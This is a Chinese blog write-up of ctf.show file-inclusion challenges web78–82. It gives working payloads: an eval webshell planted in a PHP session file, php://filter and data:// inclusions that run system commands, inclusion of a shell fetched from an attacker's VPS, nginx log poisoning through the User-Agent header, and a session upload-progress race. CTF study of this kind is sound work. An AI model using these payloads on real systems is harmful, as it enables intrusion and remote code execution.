  3. 包含触发(拿权限): 利用 include 漏洞点,通过 file 参数指向 Session 文件的绝对路径。PHP 会解析并执行该文件中的木马标签,从而实现 RCE。

当无法直接上传木马时,将 Session 文件当作临时存放木马的“载体”,再通过文件包含漏洞将其“激活”。

核心点:

  • 利用 PHP 伪协议 (php://filter) 可以对文件进行编码、查看或间接获取文件内容。
  • PHP 伪协议常见类型:
    • php://filter:可以对文件内容进行 base64 编码或其他转换。
    • data://:可以直接包含自定义文本作为 PHP 代码执行。

image-20250804103705156

随便输进去,会有一个可控变量

image-20250804103829769

用php伪协议查看了一下

?file=php://filter/read=convert.base64-encode/resource=action.php

image-20250804105229211

进行解码:

image-20250804105017853

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
	$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

可以直接上传一句话木马

?file=/tmp/sess_8cd0ce289v6p2abkffgn9buoh1

POST传参:
name=<?php @eval($_POST[a]);?>

然后蚁剑连接:

image-20250804113435515

方法二:命令执行

POST传入命令

image-20250804152212065

web78-伪协议
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

法一 :php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。
  • 字符串过滤器
    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags
  • 转换过滤器
    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.*
  • 压缩过滤器
    • zlib.deflate
    • zlib.inflate
    • bzip2.compress
    • bzip2.decompress
  • 加密过滤器
    • mcrypt.ciphername
    • mdecrypt.ciphername

flag.php通过php://filter流封装协议,封装成base64编码,进入include包含,相当于将flag.phpbase64加密丢进include,从而绕过php解析

?file=php://filter/read=convert.base64-encode/resource=flag.php 

read=可省

PixPin_2026-04-13_17-11-19

PixPin_2026-04-13_17-11-36

法二

同样利用php://filter/resource=后可以是本地目录,也支持http协议,于是,可以传一个shell上去,然后php解析执行

<?php system('tac flag.php');

shell放在vps上

python启动http服务

python3 -m http.server

数据输入流指定到http路由位置(地址)

?file=php://filter/resource=http://[vps]/[shell]

法三 data://

用法:data://text/plain;base64,

data://协议是将以文本或加密数据传入,php://filter是通过指定一个目录或者地址去拿数据,而data://是你可以写好数据直接给他

?file=data://text/plain,<?php system('tac flag.php');
或
?file=data://,<?php system('tac flag.php');

PixPin_2026-04-13_17-13-30

web79-伪协议
<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

str_replace("php", "???", $file);:在变量 $file 所存储的字符串中,将所有出现的 "php" 子串替换为 "???"

考虑将进行base编码

#<?php system("ls")?>
PD9waHAgc3lzdGVtKCJscyIpPz4=
    
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

#<?php system("cat flag.php")?>
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web80-日志包含
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

nginx服务器会记录每次请求信息到日志/var/log/nginx/access.log

通过在UA头附加恶意php代码,include包含日志执行php代码

image-20250725161608086

读取fl0g文件即可

image-20250725161843621

web81-日志
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

: 被过滤 → 伪协议彻底不能用

同上依旧使用日志文件包含即可

image-20250725164103711

image-20250725164143392

web82-sessionb包含
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

建立一个文件上传,post请求的网页进行请求

<!DOCTYPE html>
<html>
<body>
<form action="https://dd68d7e8-fe81-4e2a-b1d6-62fedd721b71.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包,添加了cookie以及随便加了一个爆破点,加上想要执行的命令

Cookie:PHPSESSID=abc
<?php system("ls");?>

image-20250804175116472

因为cookie值为abc,所以知道文件包含的路径为?file=/tmp/sess_abc,这时候再抓一个文件包含访问的包

image-20250804175222858

同时开启爆破

image-20250804175300548

找到想要的文件后,再次爆破即可得出flag

image-20250804175547119

posted @ 2026-04-16 21:11  F0T0ne  阅读(127)  评论(0)    收藏  举报